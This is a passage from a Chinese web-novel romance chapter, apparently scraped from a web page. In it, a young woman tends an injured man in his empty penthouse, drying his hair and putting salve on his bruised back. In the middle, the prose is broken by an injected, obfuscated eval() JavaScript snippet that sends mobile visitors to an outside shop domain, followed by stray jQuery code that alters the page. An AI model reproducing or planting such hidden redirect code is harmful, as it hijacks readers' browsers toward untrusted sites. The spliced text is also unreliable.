楼宇高耸,绿植繁茂,园区静谧清幽,隔绝了闹市的喧嚣浮躁。
车子稳稳停在单元楼下,司机利落下车,安静帮两人取出行李,全程恪守本分,不多言语也不多窥探。
许攸清先一步下车,随即转身伸手,稳稳扶住寻鹤的手腕,小心翼翼将她扶下车来,动作温柔细致,下意识护着她,怕她磕碰。
“到了。”他轻声开口,嗓音温润清浅。
寻鹤抬眸望去,仰头望着眼前规整素雅的楼栋,眼底带着浅浅的好奇。
她从未踏足过这里,从未知晓这座城市最繁华的中心地带,藏着他一处无人知晓的独居天地。
电梯直达顶层复式,私密性极好。许攸清指尖按压密码,门应声轻启。
一股干净清冷的木质气息扑面而来,没有多余的烟火浊气,是极少有人居住的冷清质感。
屋内装修极简高级,黑白灰的主色调通透利落,落地玻璃窗贯穿整面墙壁,视野开阔,可俯瞰整座城市的万家灯火。
家具一应俱全,整洁得一尘不染,摆件规整有序,只是太过干净妥帖,反倒透着彻骨的空旷与孤寂。
这里太安静了,安静得能听见空气流动的轻响,处处都是无人相伴的冷清。
寻鹤心底微动,这是许攸清的房子,是他在这座城市的落脚点,却从来不像家。
他常年奔波劳碌,极少归来,偶尔独处也只是孤身一人。
“进来吧。”许攸清松开她的手,侧身让她先行,绅士又温柔,顺手按下墙边的灯光开关。
暖黄的灯光瞬间铺满全屋,柔和的光线冲淡了空间自带的冷硬疏离感,温柔包裹着每一处角落,让空旷的房子终于多了几分温度。
寻鹤缓步走入,目光轻轻扫过客厅简约的沙发、整洁的茶几、空置的餐台,心底软得一塌糊涂。
从前她总以为,他素来清冷寡淡,偏爱独处,习惯了孤身无拘的生活。
可亲眼看见这片死寂空荡的天地,她才真切察觉,他不是喜欢孤独,只是多年来,无人陪他热闹,无人予他温柔。
“房子很大。”寻鹤轻声感慨,嗓音软糯轻柔。
许攸清随手将行李放在玄关,转身望向她,眼底漾开浅浅温柔的笑意,“太大了,一直很空。”
空得人心慌,空得岁岁寂寥。
他缓步走到她身侧,目光温柔锁住她的身影,语气带着几分浅浅的期许,温柔又认真,“但是今天第一次,不觉得空了。”
因为你来了。
无需直白言说,未尽的话语尽数藏在眼底的温柔里,清晰落进寻鹤心底。
寻鹤心口轻轻一颤,抬眸望他,暖光落在他清隽的眉眼,柔和了所有清冷轮廓。
病后的孱弱还未完全褪去,却丝毫不减他的温柔深情,反倒多了几分易碎又珍贵的柔软。
“我去给你拿居家服。”寻鹤收回目光,压下心底翻涌的暖意,温柔叮嘱,“你先坐会儿,别站太久,牵扯伤口不好。”
许攸清乖乖应声,“好。”
他极致顺从,任由她安排所有细碎日常,心甘情愿被她管束,这份独有的听话,从来只给她一人。
寻鹤循着房间布局找到次卧衣帽间,里面整齐摆放着全新的衣物,大多是宽松舒适的居家款式,尺码尽数贴合他的身形。
她挑了一套柔软的纯棉浅色居家服,又取来干净的毛巾,折返客厅。
回来时,许攸清正静静立在落地窗前,身姿挺拔却带着淡淡的松弛倦意。
他望着窗外次第亮起的城市灯火,背影孤冷清瘦,自带疏离气场,是旁人眼中遥不可及的模样。
可寻鹤看着这道背影,心底没有半分距离感,只剩绵长的心疼。
她好像终于触碰到了他不为人知的另一面。
世人皆见他风光凌厉,无坚不摧,唯独她窥见他独处的孤寂、病中的孱弱,还有藏在清冷外壳下,极度缺爱的本心。
“先去洗漱换衣服吧。”寻鹤轻步走到他身后,轻声开口。
许攸清闻声回头,目光落于她身上,瞬间褪去所有疏离清冷,只剩融融暖意,“好。”
他没有逞强,知晓自己如今腰背有伤,洗澡洗漱多有不便,便坦然依赖她的照料。
浴室干湿分离,整洁干净,所有洗护用品一应俱全,皆是全新未拆的模样。
寻鹤细心帮他调好水温,试了试水流温度,确保温凉适宜,才轻声叮嘱他注意伤口避水。
“脊背的伤尽量别沾水,简单擦拭就好,我等下帮你重新上药。”
“嗯。”许攸清乖乖应下,目光一瞬不移望着她,眼底盛满缱绻温柔。
寻鹤替他拉上浴室门,留了一道缝隙方便透气,随即转身走向客厅,默默替他整理散落的行李。
她将他的随身物件一一归置妥当,十几分钟后,浴室水声停歇。
许攸清换好干净的居家服走出,湿发微滴着水,额前碎发柔软垂落,褪去了所有外界的凌厉锋芒,少年感十足,温顺又干净。
宽松的衣物遮挡了满身伤痕,却掩不住身形的清瘦,也藏不住病后未散尽的淡淡倦意。
寻鹤听见动静立刻抬头,目光落在他身上,心头微动,随即起身走去阳台拿来吹风机。
“过来,我帮你吹头发。”
许攸清脚步微顿,眼底笑意温柔漾开,顺从地走到沙发边坐下,微微垂首,乖乖等候她的照料。
暖风吹起,温度温和适宜。
寻鹤指尖轻轻穿过他柔软的黑发,动作轻柔缓慢,生怕力道太重牵扯到他的伤口。
指尖偶尔不经意蹭过他的耳尖、后颈,温热的触感一闪而过,细微的痒意顺着肌肤蔓延心底,让许攸清的心神再次悄然发软。
客厅安静无声,只剩吹风机低低的嗡鸣,温柔缱绻,填满了整屋空旷。
曾经寂寥空荡的房子,第一次有了细碎的人声、温柔的动静,有了人间烟火的模样。
“头发还是湿的不要躺着,容易头疼。”寻鹤一边细细帮他吹干发丝,一边轻声叮嘱,语气细碎温柔,满是日常的牵挂。
许攸清低低应着,目光落在落地窗外的万家灯火,余光却全程凝着身前的少女。
暖光落在她的发顶,温柔勾勒出她柔和的侧脸轮廓,美好得让他心头安稳又滚烫。
他等这一幕,等了整整七年。
吹完头发,寻鹤放下吹风机,顺势拿起旁边备好的药盒。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17659616|206515||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“现在上药。”她语气认真,带着不容敷衍的温柔执拗,“医生说每天都要按时涂药,不然淤血散得慢,旧伤也容易反复。”
许攸清没有半点推脱,温顺地微微俯身,任由她撩开衣摆,露出脊背暗沉的淤伤。
伤痕依旧狰狞刺眼,层层叠叠的暗沉淤血,无声诉说着那日他舍身护她的凶险。
寻鹤目光落在伤痕上,心头瞬间涌上细密的酸涩与心疼,指尖动作愈发轻柔,小心翼翼将药膏一点点涂抹均匀。
指尖微凉的触感落在肌肤上,带着药膏的清浅药香,抚平了皮肉的痛感,也熨帖了心底所有荒芜。
暖黄灯光温柔落满脊背,将交错暗沉的淤伤衬得格外清晰。
许攸清垂着眼,长睫死死敛住眼底翻涌的惊涛骇浪,脊背细碎的酸胀层层漫上来,却被他咬牙尽数隐忍。
他浑身紧绷,静静沉溺在她指尖轻柔的摩挲里,这份迟来的贴身照料,是他孤熬岁月里不敢窥探的奢望,每一寸温热触碰,都狠狠熨烫着他荒芜空洞的心脏,让他贪恋成瘾,再也舍不得半分疏离。
指腹一遍遍轻柔碾过那些暗沉交错的淤伤,深浅不一的痕迹,全是那日他为她挡下的坠落重击,血肉磕碰。
寻鹤看着看着,心口密密麻麻的酸涩与心动彻底缠紧,鼻尖微堵,眼底泛着细碎的温热。
从前只知晓他护她情深意重,可此刻近距离凝视这些狰狞伤痕,她才最真切地感知到,那日崖底绝境,他是以一己血肉,硬生生替她扛下了所有致命凶险与刺骨疼痛。
心绪翻涌至顶点,心疼与爱意交织着撞进心底,她下意识停下所有动作,摒去呼吸间的轻颤,微微俯身。
微凉柔软的唇瓣轻轻落下,虔诚又珍重,浅浅印在他脊背一处淤青泛红的伤痕边缘,刻意避开破损的肌肤,不带半分旖旎情欲,只剩纯粹的疼惜、感念与藏不住的滚烫心动。
这是历经生死过后,最温柔的救赎,也是她迟来的明目张胆的偏爱。
那一吻极轻、极浅,落在温热的肌理之上,却像一簇星火骤然落进荒芜深海,瞬间燎原,席卷了许攸清所有理智。
他浑身猛地一僵,周身血液骤然凝滞,又在下一秒轰然奔涌,细密滚烫的战栗从脊背被亲吻的位置炸开,顺着肌理蔓延四肢百骸,连指尖都控制不住地微微发颤。
连日隐忍的伤痛、病弱倦意尽数消散,只剩极致清晰、汹涌到失控的悸动,狠狠攫住他全部感官。
克制入骨的暗恋、岁岁独处的孤寂、遥遥相望的隐忍,在这一瞬彻底冲破所有桎梏。
他素来沉稳自持、万事不惊的心神,彻底溃不成军。
呼吸骤然急促,胸腔剧烈起伏,整个人绷得笔直,像一根濒临断裂的弦。
心底是近乎卑微的贪念,像被投喂了一口甜的困兽,饥肠辘辘了七年,尝得半点温柔,便再也不肯餍足。
他缓缓抬眸,视线发潮、眼底泛红,漆黑的瞳孔里盛满赤裸裸的渴望与臣服,像一只小心翼翼讨好主人、不敢僭越的小狗。
目光牢牢锁着寻鹤近在咫尺的唇,方才她吻过他的脊背,温柔得太过缱绻,让他忍不住疯狂贪恋她唇间的温度与柔软。
他想要追吻。